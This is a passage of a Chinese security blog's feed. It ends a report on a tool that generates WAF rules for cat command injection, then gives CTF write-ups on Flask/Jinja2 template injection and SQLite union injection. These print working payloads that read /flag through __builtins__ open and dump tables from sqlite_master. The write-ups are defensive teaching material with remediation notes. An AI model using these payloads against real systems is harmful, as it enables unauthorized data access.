class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br></pre></td><td class="code"><pre><span class="line">打包方式：CRSRuleMiner.spec 配置文件，一键打包</span><br><span class="line">入口：app.py</span><br><span class="line">资源：static/ + templates/ 一起打进包</span><br><span class="line">输出：dist\CRSRuleMiner.exe</span><br><span class="line">console=False（启动不弹黑窗）</span><br><span class="line">启动流程：双击 exe → 自动拉起 FastAPI 本地服务（端口 8000）→ 打开桌面窗口 →</span><br><span class="line">搜索、预览、导出全能用。关掉窗口，后台服务自动退出。</span><br><span class="line">6.19补：</span><br><span class="line">之前的安装包只带了单个exe，安装后项目文件不完整。</span><br><span class="line">现在改为先把根目录中需要交付的文件复制到installer\payload\，再由 Inno Setup 递归打包。</span><br><span class="line">打包时排除了build/、dist/、venv/、__pycache__/、installer/等构建目录，避免把临时产物一并带入。</span><br><span class="line">工作台包含内容：</span><br><span class="line">主界面展示：</span><br><span class="line">分为左中右布局，整体弹窗以及风格参照apple以及个人喜好</span><br><span class="line">左：流程介绍，核心数据，数据一览，运行环境</span><br><span class="line">中：概况介绍，重要数据，结果按钮，报告摘录</span><br><span class="line">右：高级搜索，搜索结果</span><br><span class="line">高级搜索框：搜 payload、搜文件名、搜数字（如 63/64、CRS），支持按范围、文件类型、类别三层筛选</span><br><span class="line">中间有两个按钮——聚类结果以及复现流程，可以点击跳出独立的内容弹窗</span><br><span class="line">点击复现流程，可以在复现过程中快速核对每一步是怎么做的</span><br><span class="line">点击聚类结果：点击后打开独立弹窗，里面显示了变种之后的总样本数，划出同源样本集之后产生的簇数，</span><br><span class="line">噪声书，以及噪声率，噪声样本示例，簇分布，簇分布可以展开</span><br><span class="line">簇展开</span><br><span class="line">噪声示例</span><br><span class="line">文件展示：文件一览以及搜索可以查看每一个文件，以及包含该文件的文件名，文件路径，类别，类型，行</span><br><span class="line">数，摘要，右上角以及Esc均可关闭</span><br><span class="line">注意：exe 依赖本地文件完整存在，如果数据文件缺失，界面显示为空，不会伪造内容。下载后首次启动有</span><br><span class="line">索引时间，属于正常扫描开销。</span><br><span class="line">最上方有刷新索引按钮，如果后期文件更新，直接刷新索引就可以展示当前最新文件，</span><br><span class="line">七：AI 对话记录与项目历程</span><br><span class="line">在项目开发过程中使用 AI 助手（gpt5.5，cluadecode，deepseek，claude.ai）辅助：s</span><br><span class="line">因为整个方案讨论的过程，文字长度，以及时间太太太太太冗长，只能贴一些重要部分，中间经历了一些修</span><br><span class="line">改</span><br><span class="line">比如把第一版已经做好的K-means+pca降维改成了HDBSCAN聚类</span><br><span class="line">比如第一版做出来的项目关注的命令过于泛散，深度不够，最后只能大改专注于一个cat命令，重新写</span><br><span class="line">比如第一次贸然的提交了crs社区的pr因为格式不对不够详细而被社区审核者驳回</span><br><span class="line">比如</span><br><span class="line">（第一版文章）</span><br><span class="line">（第一次提交pr）</span><br></pre></td></tr></table></figure></div><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">Ai在代码实现方面的确很强，但是创新方面与真正决策还是不如人意，而且deepseek的专家模式真的难用至</span><br><span class="line">极，知识库只截至于2025年5月，对于新发展的内容判断很容易出错！</span><br><span class="line">初代大纲：</span><br><span class="line">以下是我们的一些对话截图：</span><br><span class="line">Claude在收集数据方面帮我搜索了不仅限于国内的catpayload来源:</span><br><span class="line">Claudecode拉去下载文章，提取payload，并进行清洗去重：</span><br><span class="line">但是幻觉严重，必须进行去重：</span><br><span class="line">DEEPSEEK:</span><br><span class="line">帮我真正的理解项目，以及新的名词（消融实验，聚类，机器学习，混淆矩阵等等...)，帮我真正理解codex</span><br><span class="line">的代码，算法，调整提交pr的格式</span><br><span class="line">但是有时候会犯错</span><br><span class="line">帮我正确调用api：</span><br><span class="line">Codex（代码主力，修bug主力）：</span><br><span class="line">部分prompt是与deepseek交流后生成的，在写prompt的时候避免ai幻觉，需要反复强调真实</span><br><span class="line">现阶段完结撒花！~感谢观看</span><br></pre></td></tr></table></figure></div><h2 id="页面-12"><a href="#页面-12" class="headerlink" title="页面 12"></a>页面 12</h2><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">???????</span><br></pre></td></tr></table></figure></div><h2 id="图示"><a href="#图示" class="headerlink" title="图示"></a>图示</h2><h3 id="第-13-页"><a href="#第-13-页" class="headerlink" title="第 13 页"></a>第 13 页</h3><p><figure class="image-caption"><img                       lazyload                     src="/images/loading.svg"                     data-src="/assets/figure_2_1_system_architecture.png"                      alt="figure_2_1_system_architecture.png"                ><figcaption>figure_2_1_system_architecture.png</figcaption></figure></p><p><em>figure_2_1_system_architecture.png</em></p><h3 id="第-14-页"><a href="#第-14-页" class="headerlink" title="第 14 页"></a>第 14 页</h3><p><figure class="image-caption"><img                       lazyload                     src="/images/loading.svg"                     data-src="/assets/figure_2_2_rule_workbench_flow.png"                      alt="figure_2_2_rule_workbench_flow.png"                ><figcaption>figure_2_2_rule_workbench_flow.png</figcaption></figure></p><p><em>figure_2_2_rule_workbench_flow.png</em></p><h3 id="第-15-页"><a href="#第-15-页" class="headerlink" title="第 15 页"></a>第 15 页</h3><p><figure class="image-caption"><img                       lazyload                     src="/images/loading.svg"                     data-src="/assets/figure_2_4_software_flow_vertical.png"                      alt="figure_2_4_software_flow_vertical.png"                ><figcaption>figure_2_4_software_flow_vertical.png</figcaption></figure></p><p><em>figure_2_4_software_flow_vertical.png</em></p><h3 id="第-16-页"><a href="#第-16-页" class="headerlink" title="第 16 页"></a>第 16 页</h3><p><figure class="image-caption"><img                       lazyload                     src="/images/loading.svg"                     data-src="/assets/figure_3_1_test_closure.png"                      alt="figure_3_1_test_closure.png"                ><figcaption>figure_3_1_test_closure.png</figcaption></figure></p><p><em>figure_3_1_test_closure.png</em></p><h3 id="第-17-页"><a href="#第-17-页" class="headerlink" title="第 17 页"></a>第 17 页</h3><p><figure class="image-caption"><img                       lazyload                     src="/images/loading.svg"                     data-src="/assets/figure_3_2_waf_environment.png"                      alt="figure_3_2_waf_environment.png"                ><figcaption>figure_3_2_waf_environment.png</figcaption></figure></p><p><em>figure_3_2_waf_environment.png</em></p><h3 id="第-18-页"><a href="#第-18-页" class="headerlink" title="第 18 页"></a>第 18 页</h3><p><figure class="image-caption"><img                       lazyload                     src="/images/loading.svg"                     data-src="/assets/figure_3_2_waf_results.png"                      alt="figure_3_2_waf_results.png"                ><figcaption>figure_3_2_waf_results.png</figcaption></figure></p><p><em>figure_3_2_waf_results.png</em></p><h3 id="第-19-页"><a href="#第-19-页" class="headerlink" title="第 19 页"></a>第 19 页</h3><p><figure class="image-caption"><img                       lazyload                     src="/images/loading.svg"                     data-src="/assets/figure_3_3_runtime_compare.png"                      alt="figure_3_3_runtime_compare.png"                ><figcaption>figure_3_3_runtime_compare.png</figcaption></figure></p><p><em>figure_3_3_runtime_compare.png</em></p><h3 id="第-20-页"><a href="#第-20-页" class="headerlink" title="第 20 页"></a>第 20 页</h3><p><figure class="image-caption"><img                       lazyload                     src="/images/loading.svg"                     data-src="/assets/figure_3_4_baseline_gain.png"                      alt="figure_3_4_baseline_gain.png"                ><figcaption>figure_3_4_baseline_gain.png</figcaption></figure></p><p><em>figure_3_4_baseline_gain.png</em></p><h3 id="第-21-页"><a href="#第-21-页" class="headerlink" title="第 21 页"></a>第 21 页</h3><p><figure class="image-caption"><img                       lazyload                     src="/images/loading.svg"                     data-src="/assets/figure_3_5_boundary_pressure.png"                      alt="figure_3_5_boundary_pressure.png"                ><figcaption>figure_3_5_boundary_pressure.png</figcaption></figure></p><p><em>figure_3_5_boundary_pressure.png</em></p><h3 id="第-22-页"><a href="#第-22-页" class="headerlink" title="第 22 页"></a>第 22 页</h3><p><figure class="image-caption"><img                       lazyload                     src="/images/loading.svg"                     data-src="/assets/figure_4_1_cluster_summary.png"                      alt="figure_4_1_cluster_summary.png"                ><figcaption>figure_4_1_cluster_summary.png</figcaption></figure></p><p><em>figure_4_1_cluster_summary.png</em></p><h3 id="第-23-页"><a href="#第-23-页" class="headerlink" title="第 23 页"></a>第 23 页</h3><p><figure class="image-caption"><img                       lazyload                     src="/images/loading.svg"                     data-src="/assets/figure_4_2_stability_filter.png"                      alt="figure_4_2_stability_filter.png"                ><figcaption>figure_4_2_stability_filter.png</figcaption></figure></p><p><em>figure_4_2_stability_filter.png</em></p><h3 id="第-24-页"><a href="#第-24-页" class="headerlink" title="第 24 页"></a>第 24 页</h3><p><figure class="image-caption"><img                       lazyload                     src="/images/loading.svg"                     data-src="/assets/figure_4_3_frozen_loop.png"                      alt="figure_4_3_frozen_loop.png"                ><figcaption>figure_4_3_frozen_loop.png</figcaption></figure></p><p><em>figure_4_3_frozen_loop.png</em></p><h3 id="第-25-页"><a href="#第-25-页" class="headerlink" title="第 25 页"></a>第 25 页</h3><p><figure class="image-caption"><img                       lazyload                     src="/images/loading.svg"                     data-src="/assets/figure_4_4_workbench_finalize.png"                      alt="figure_4_4_workbench_finalize.png"                ><figcaption>figure_4_4_workbench_finalize.png</figcaption></figure></p><p><em>figure_4_4_workbench_finalize.png</em></p><h3 id="第-26-页"><a href="#第-26-页" class="headerlink" title="第 26 页"></a>第 26 页</h3><p><figure class="image-caption"><img                       lazyload                     src="/images/loading.svg"                     data-src="/assets/figure_4_5_crs_gain.png"                      alt="figure_4_5_crs_gain.png"                ><figcaption>figure_4_5_crs_gain.png</figcaption></figure></p><p><em>figure_4_5_crs_gain.png</em></p><h2 id="作品原创性声明"><a href="#作品原创性声明" class="headerlink" title="作品原创性声明"></a>作品原创性声明</h2><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">?????</span><br><span class="line">附件3：</span><br><span class="line">作品原创性声明</span><br><span class="line">本参赛团队郑重声明：本团队在第十九届全国大学生信息安全竞赛（作品赛）暨第三届“长城杯”网数智安</span><br><span class="line">全大赛（作品赛）所提交的作品 RuleMiner——面向WAF的检测规则自动生成化系统 ，是团队同学在指导老</span><br><span class="line">师的指导下，独立进行研究工作所取得的真实研究成果，从创意到实现均为原创。除作品报告中已经标注引</span><br><span class="line">用的内容外，本参赛作品不包含任何其他个人或集体已经发表或撰写过的研究成果。对本作品的研究做出贡</span><br><span class="line">献的个人和集体，均已在报告中以明确方式标明。本团队及作品严格遵守竞赛组委会颁布的参赛要求，并且</span><br><span class="line">无侵害他人合法权益行为和违反相关法律法规行为。本团队对该作品拥有完整、合法的著作权及其他相关权</span><br><span class="line">益。本声明的法律后果由本参赛团队承担。</span><br><span class="line">作品参赛团队组员（签名）：</span><br><span class="line">2026年 6 月29日</span><br></pre></td></tr></table></figure></div><section class="related-posts-custom" aria-labelledby="related-posts-title"><h2 id="related-posts-title">相关文章</h2><div class="related-posts-list"><a class="related-post-card" href="/2025/06/05/DVWA-CSP-Bypass/"><strong>DVWA CSP Bypass：策略配置、信任边界与绕过条件</strong><span>通过 DVWA 授权环境分析 CSP 配置与绕过条件，说明宽泛来源、内联脚本和受信任端点如何削弱策略，并总结安全配置方法。</span></a><a class="related-post-card" href="/2025/05/30/DVWA-CSRF防护差异/"><strong>DVWA CSRF：不同安全等级下的防护差异</strong><span>基于 DVWA 授权环境比较不同安全等级下的 CSRF 行为，从请求构造、令牌校验和来源限制三个角度理解漏洞与防护。</span></a></div></section>]]>
    </content>
    <id>https://leeei.site/2026/07/20/cat%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%E7%BB%95%E8%BF%87%E6%A3%80%E6%B5%8B%E8%A7%84%E5%88%99%E7%9A%84%E8%87%AA%E5%8A%A8%E5%8C%96%E7%94%9F%E6%88%90/</id>
    <link href="https://leeei.site/2026/07/20/cat%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%E7%BB%95%E8%BF%87%E6%A3%80%E6%B5%8B%E8%A7%84%E5%88%99%E7%9A%84%E8%87%AA%E5%8A%A8%E5%8C%96%E7%94%9F%E6%88%90/"/>
    <published>2026-07-19T16:00:00.000Z</published>
    <summary>围绕 OWASP CRS 的 cat 命令注入检测，记录从攻击样本、语义聚类、规则生成到 ModSecurity 实测的自动化挖掘流程，并比较检出率与误报表现。</summary>
    <title>cat命令注入绕过检测规则的自动化生成</title>
    <updated>2026-07-19T16:00:00.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>lee</name>
    </author>
    <category term="漏洞研究" scheme="https://leeei.site/categories/%E6%BC%8F%E6%B4%9E%E7%A0%94%E7%A9%B6/"/>
    <category term="Flask" scheme="https://leeei.site/tags/Flask/"/>
    <category term="SSTI" scheme="https://leeei.site/tags/SSTI/"/>
    <category term="Jinja2" scheme="https://leeei.site/tags/Jinja2/"/>
    <category term="代码审计" scheme="https://leeei.site/tags/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/"/>
    <content>
      <![CDATA[<blockquote><p><strong>文章状态：待复验</strong><br>本文由 Lee 的 CSDN 原创学习记录迁移并重新整理。以下操作仅限自建环境、CTF 与明确授权靶场，请勿用于未授权目标。</p></blockquote><h2 id="学习目标"><a href="#学习目标" class="headerlink" title="学习目标"></a>学习目标</h2><ul><li>判断用户输入是否进入服务端模板解释器</li><li>理解模板上下文和对象访问带来的攻击面</li><li>区分输出转义与禁止动态模板执行的作用</li></ul><h2 id="实验说明"><a href="#实验说明" class="headerlink" title="实验说明"></a>实验说明</h2><ul><li>难度：进阶</li><li>范围：本地或公开授权靶场</li><li>复验状态：正文已完成格式迁移，关键结论将在后续使用固定环境重新验证</li></ul><h2 id="原始实验记录"><a href="#原始实验记录" class="headerlink" title="原始实验记录"></a>原始实验记录</h2><p>两个思路一样的题er…</p><h3 id="星愿信箱；"><a href="#星愿信箱；" class="headerlink" title="星愿信箱；"></a>星愿信箱；</h3><p>给了一个输入内容重复回显的页面，先用wappalyzer进行技术栈识别</p><p><figure class="image-caption"><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/csdn/160869205/01.png"                      alt="实验截图 1"                ><figcaption>实验截图 1</figcaption></figure></p><p>一个基于python的flask，先看有没有ssti漏洞，没有的话尝试session伪造</p><p>尝试{{7*7}}，没有有效回显</p><p><figure class="image-caption"><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/csdn/160869205/02.png"                      alt="实验截图 2"                ><figcaption>实验截图 2</figcaption></figure></p><p>补充模板引擎：</p><ul><li>Jinja2：使用{{}}作为输出语法（{{7*7}}）</li><li>Mako：使用${}作为输出语法（${7*7}）</li></ul><p>尝试{%%}，回显成功，存在ssti漏洞，而且{{}}可能被过滤掉了</p><p><figure class="image-caption"><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/csdn/160869205/03.png"                      alt="实验截图 3"                ><figcaption>实验截图 3</figcaption></figure></p><p>找可以访问的全局对象——回显包括这个flask的所有全局变量，函数，导入模块，内置函数，看全局对象的原因是为了看__builtins__与os模块是否存在，他们如果都存在的话，证明我们可以用一些命令来探测信息</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#123;% print(url_for.__globals__) %&#125;</span><br></pre></td></tr></table></figure></div><p><figure class="image-caption"><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/csdn/160869205/04.png"                      alt="实验截图 4"                ><figcaption>实验截图 4</figcaption></figure></p><p><figure class="image-caption"><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/csdn/160869205/05.png"                      alt="实验截图 5"                ><figcaption>实验截图 5</figcaption></figure></p><p>存在包含 <code>__builtins__</code> 的字典对象以及os</p><p>直接尝试读取flag</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#123;% print(url_for.__globals__[&#x27;__builtins__&#x27;][&#x27;open&#x27;](&#x27;/flag&#x27;).read()) %&#125;</span><br></pre></td></tr></table></figure></div><p>回显成功</p><p><figure class="image-caption"><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/csdn/160869205/06.png"                      alt="实验截图 6"                ><figcaption>实验截图 6</figcaption></figure></p><h3 id="玄武杯-2025-锦家有什么"><a href="#玄武杯-2025-锦家有什么" class="headerlink" title="[玄武杯 2025]锦家有什么"></a>[玄武杯 2025]锦家有什么</h3><p>flask..</p><p><figure class="image-caption"><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/csdn/160869205/07.png"                      alt="实验截图 7"                ><figcaption>实验截图 7</figcaption></figure></p><p>进入主页面，发现按钮失效，view-source一下：</p><p>提示路径try_a_try</p><p><figure class="image-caption"><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/csdn/160869205/08.png"                      alt="实验截图 8"                ><figcaption>实验截图 8</figcaption></figure></p><p>访问，提示输入参数</p><p><figure class="image-caption"><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/csdn/160869205/09.png"                      alt="实验截图 9"                ><figcaption>实验截图 9</figcaption></figure></p><p>发现写入name参数的时候回显有改变?name&#x3D;leee</p><p><figure class="image-caption"><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/csdn/160869205/10.png"                      alt="实验截图 10"                ><figcaption>实验截图 10</figcaption></figure></p><p>因为先前验证了模板是flask，所以试一下ssti，回显正确</p><p><figure class="image-caption"><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/csdn/160869205/11.png"                      alt="实验截图 11"                ><figcaption>实验截图 11</figcaption></figure></p><p>继续看全局对象,?name&#x3D;{{url_for.__globals__}}，回显有__builtins__以及os</p><p><figure class="image-caption"><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/csdn/160869205/12.png"                      alt="实验截图 12"                ><figcaption>实验截图 12</figcaption></figure></p><p><figure class="image-caption"><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/csdn/160869205/13.png"                      alt="实验截图 13"                ><figcaption>实验截图 13</figcaption></figure></p><p>直接读，?name&#x3D;&#x3D;{{(url_for.__globals__[‘__builtins__‘][‘open’](‘&#x2F;flag’).read())}}</p><p>拿到flag</p><p><figure class="image-caption"><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/csdn/160869205/14.png"                      alt="实验截图 14"                ><figcaption>实验截图 14</figcaption></figure></p><h2 id="防御与复盘"><a href="#防御与复盘" class="headerlink" title="防御与复盘"></a>防御与复盘</h2><ul><li>不要把用户输入拼接成模板源代码，应将其作为普通数据传入固定模板。</li><li>减少模板上下文中暴露的对象和函数，避免依赖不完整的字符黑名单。</li><li>为异常模板表达式和执行错误建立日志与告警。</li></ul><h2 id="原文出处"><a href="#原文出处" class="headerlink" title="原文出处"></a>原文出处</h2><ul><li><a class="link"   href="https://blog.csdn.net/2403_88102829/article/details/160869205" >CSDN 原创记录<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li></ul><section class="related-posts-custom" aria-labelledby="related-posts-title"><h2 id="related-posts-title">相关文章</h2><div class="related-posts-list"><a class="related-post-card" href="/2025/06/05/DVWA-CSP-Bypass/"><strong>DVWA CSP Bypass：策略配置、信任边界与绕过条件</strong><span>通过 DVWA 授权环境分析 CSP 配置与绕过条件，说明宽泛来源、内联脚本和受信任端点如何削弱策略，并总结安全配置方法。</span></a><a class="related-post-card" href="/2025/05/30/DVWA-CSRF防护差异/"><strong>DVWA CSRF：不同安全等级下的防护差异</strong><span>基于 DVWA 授权环境比较不同安全等级下的 CSRF 行为，从请求构造、令牌校验和来源限制三个角度理解漏洞与防护。</span></a></div></section>]]>
    </content>
    <id>https://leeei.site/2026/05/08/Flask-SSTI%E8%BF%87%E6%BB%A4%E6%9D%A1%E4%BB%B6%E5%88%86%E6%9E%90/</id>
    <link href="https://leeei.site/2026/05/08/Flask-SSTI%E8%BF%87%E6%BB%A4%E6%9D%A1%E4%BB%B6%E5%88%86%E6%9E%90/"/>
    <published>2026-05-08T01:16:06.000Z</published>
    <summary>通过授权靶场识别 Flask/Jinja2 模板注入，分析表达式过滤、对象访问和上下文暴露问题，并给出模板渲染边界与修复建议。</summary>
    <title>Flask SSTI：过滤条件下的模板注入分析</title>
    <updated>2026-09-03T16:00:00.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>lee</name>
    </author>
    <category term="漏洞研究" scheme="https://leeei.site/categories/%E6%BC%8F%E6%B4%9E%E7%A0%94%E7%A9%B6/"/>
    <category term="SQL注入" scheme="https://leeei.site/tags/SQL%E6%B3%A8%E5%85%A5/"/>
    <category term="SQLite" scheme="https://leeei.site/tags/SQLite/"/>
    <category term="Next.js" scheme="https://leeei.site/tags/Next-js/"/>
    <category term="CTF" scheme="https://leeei.site/tags/CTF/"/>
    <content>
      <![CDATA[<blockquote><p><strong>文章状态：待复验</strong><br>本文由 Lee 的 CSDN 原创学习记录迁移并重新整理。以下操作仅限自建环境、CTF 与明确授权靶场，请勿用于未授权目标。</p></blockquote><h2 id="学习目标"><a href="#学习目标" class="headerlink" title="学习目标"></a>学习目标</h2><ul><li>从页面与接口行为识别 Next.js 应用入口</li><li>理解 SQLite 与常见数据库在语法和元数据上的差异</li><li>使用最小化验证确认注入而不过度获取数据</li></ul><h2 id="实验说明"><a href="#实验说明" class="headerlink" title="实验说明"></a>实验说明</h2><ul><li>难度：中级</li><li>范围：本地或公开授权靶场</li><li>复验状态：正文已完成格式迁移，关键结论将在后续使用固定环境重新验证</li></ul><h2 id="原始实验记录"><a href="#原始实验记录" class="headerlink" title="原始实验记录"></a>原始实验记录</h2><p>1：基于sqlite的sql注入</p><p>2：next.js</p><h3 id="GHCTF-2025-SQL"><a href="#GHCTF-2025-SQL" class="headerlink" title="[GHCTF 2025]SQL???"></a>[GHCTF 2025]SQL???</h3><p>——bool盲注，union注入</p><h5 id="测试代码"><a href="#测试代码" class="headerlink" title="测试代码"></a>测试代码</h5><p>给了web页面，先测一下</p><p><figure class="image-caption"><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/csdn/160834600/01.png"                      alt="实验截图 1"                ><figcaption>实验截图 1</figcaption></figure></p><p>又一个flask，而且有参数，直接尝试sql，并且注意，这里的正常页面长度大概是710k+</p><p><figure class="image-caption"><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/csdn/160834600/02.png"                      alt="实验截图 2"                ><figcaption>实验截图 2</figcaption></figure></p><p>恒真恒假测试，回显有异，继续进行bool盲注，试了好几个mysql函数都用不了，尝试SQLlite回显了一个正常页面</p><p><figure class="image-caption"><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/csdn/160834600/03.png"                      alt="实验截图 3"                ><figcaption>实验截图 3</figcaption></figure></p><p>后端数据库为 <strong>SQLite，</strong></p><p>以下环境换成23570端口</p><p>在url里探测列数，测到?id&#x3D;1 order by 6–+报错，说明有5列</p><p><figure class="image-caption"><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/csdn/160834600/04.png"                      alt="实验截图 4"                ><figcaption>实验截图 4</figcaption></figure></p><p>继续测联合注入?id&#x3D;-1 union select 1,2,3,4,5–+，回显成功</p><p><figure class="image-caption"><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/csdn/160834600/05.png"                      alt="实验截图 5"                ><figcaption>实验截图 5</figcaption></figure></p><h4 id="学习一下SQLite："><a href="#学习一下SQLite：" class="headerlink" title="学习一下SQLite："></a>学习一下SQLite：</h4><ul><li>SQLite 是文件型数据库，MySQL 是服务型数据库，两者注入方式不同</li><li>SQLite没有默认端口，但mysql默认端口是3306</li><li>前者获取版本是sqlite_version()，后者是version() or @@VERSION</li><li>都能用group_concat()</li><li>SQLite用group_concat(name)一次性查出所有表名</li><li>sqlite_master是SQLite 的元数据目录表，存储所有表的信息，相当于 MySQL 的 <strong><code>information_schema</code></strong></li></ul><p>爆版本号?id&#x3D;-1 union select 1,sqlite_version(),3,4,5–+</p><p><figure class="image-caption"><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/csdn/160834600/06.png"                      alt="实验截图 6"                ><figcaption>实验截图 6</figcaption></figure></p><p>获取表名：?id&#x3D;-1 union select 1,sqlite_version(),group_concat(name),4,5 from sqlite_master</p><p><figure class="image-caption"><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/csdn/160834600/07.png"                      alt="实验截图 7"                ><figcaption>实验截图 7</figcaption></figure></p><p>发现flag表，进一步进去看?id&#x3D;-1 union select 1,*,3,4,5 from flag</p><p><figure class="image-caption"><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/csdn/160834600/08.png"                      alt="实验截图 8"                ><figcaption>实验截图 8</figcaption></figure></p><p>成功找到flag</p><h3 id="LitCTF-2025-nest-js"><a href="#LitCTF-2025-nest-js" class="headerlink" title="[LitCTF 2025]nest_js"></a>[LitCTF 2025]nest_js</h3><p>进去是一个登录框，先disearch扫下url，只扫到一个favicon.ico ，进去看是一个图标，没什么用，whatweb看一下</p><p><figure class="image-caption"><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/csdn/160834600/09.png"                      alt="实验截图 9"                ><figcaption>实验截图 9</figcaption></figure></p><p>PasswordField，跟页面的登录框对应上，注意还有个X-Powered-By[Next.js]，说明前面的x框架由Next.js驱动</p><p>学习一下Next.js，<strong>Next.js</strong> 是<strong>框架</strong>，它<strong>基于 React(构建用户界面的JS库)<strong>，并给它加上了</strong>路由、服务端渲染、API 后端</strong>等全套功能</p><p>题目提示了弱口令爆破，但是对于next.js.&#x2F;react框架，页面源码看不到是post还是get，js文件里才能看到</p><p>看源码再确定一下，提交框无action属性</p><p><figure class="image-caption"><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/csdn/160834600/10.png"                      alt="实验截图 10"                ><figcaption>实验截图 10</figcaption></figure></p><p>路径里有js文件</p><p><figure class="image-caption"><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/csdn/160834600/11.png"                      alt="实验截图 11"                ><figcaption>实验截图 11</figcaption></figure></p><p>下载这个文件</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">curl -s http://authorized-lab.local/_next/static/chunks/app/login/page-b20a48e2d273348a.js -o login_page.js</span><br></pre></td></tr></table></figure></div><hr><p><strong>目的：</strong> Next.js 会将页面逻辑打包到 <code>/_next/static/chunks/</code> 目录，分析这些文件找到 API 端点。</p><p>下载登录页面的 JS 文件（从页面源码中找到的路径）</p><p>curl -s <a class="link"   href="http://authorized-lab.local//_next/static/chunks/app/login/page-b20a48e2d273348a.js" >http://authorized-lab.local/\_next/static/chunks/app/login/page-b20a48e2d273348a.js<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a> -o login_page.js</p><p>搜索 API 相关关键词 grep -E “(api|fetch|axios|login|&#x2F;api&#x2F;)” login_page.js | head -20</p><p><figure class="image-caption"><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/csdn/160834600/12.png"                      alt="实验截图 12"                ><figcaption>实验截图 12</figcaption></figure> 发现了是POST，两个字段名是username和password</p><p><figure class="image-caption"><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/csdn/160834600/13.png"                      alt="实验截图 13"                ><figcaption>实验截图 13</figcaption></figure></p><p>弱密码爆破得到admin:password</p><p> 携带 token 访问 dashboard</p><p>curl -s -H “Cookie: token&#x3D;generated-jwt-token-here” \ <a class="link"   href="http://authorized-lab.local/dashboard" >http://authorized-lab.local/dashboard<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></p><p>得到flag</p><p><figure class="image-caption"><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/csdn/160834600/14.png"                      alt="实验截图 14"                ><figcaption>实验截图 14</figcaption></figure></p><h2 id="防御与复盘"><a href="#防御与复盘" class="headerlink" title="防御与复盘"></a>防御与复盘</h2><ul><li>所有查询参数均使用参数化语句，不拼接来自 URL、表单或 JSON 的输入。</li><li>为异常查询、数据库错误和高频探测建立监控。</li><li>生产环境关闭详细错误回显，并限制数据库文件和备份文件的访问。</li></ul><h2 id="原文出处"><a href="#原文出处" class="headerlink" title="原文出处"></a>原文出处</h2><ul><li><a class="link"   href="https://blog.csdn.net/2403_88102829/article/details/160834600" >CSDN 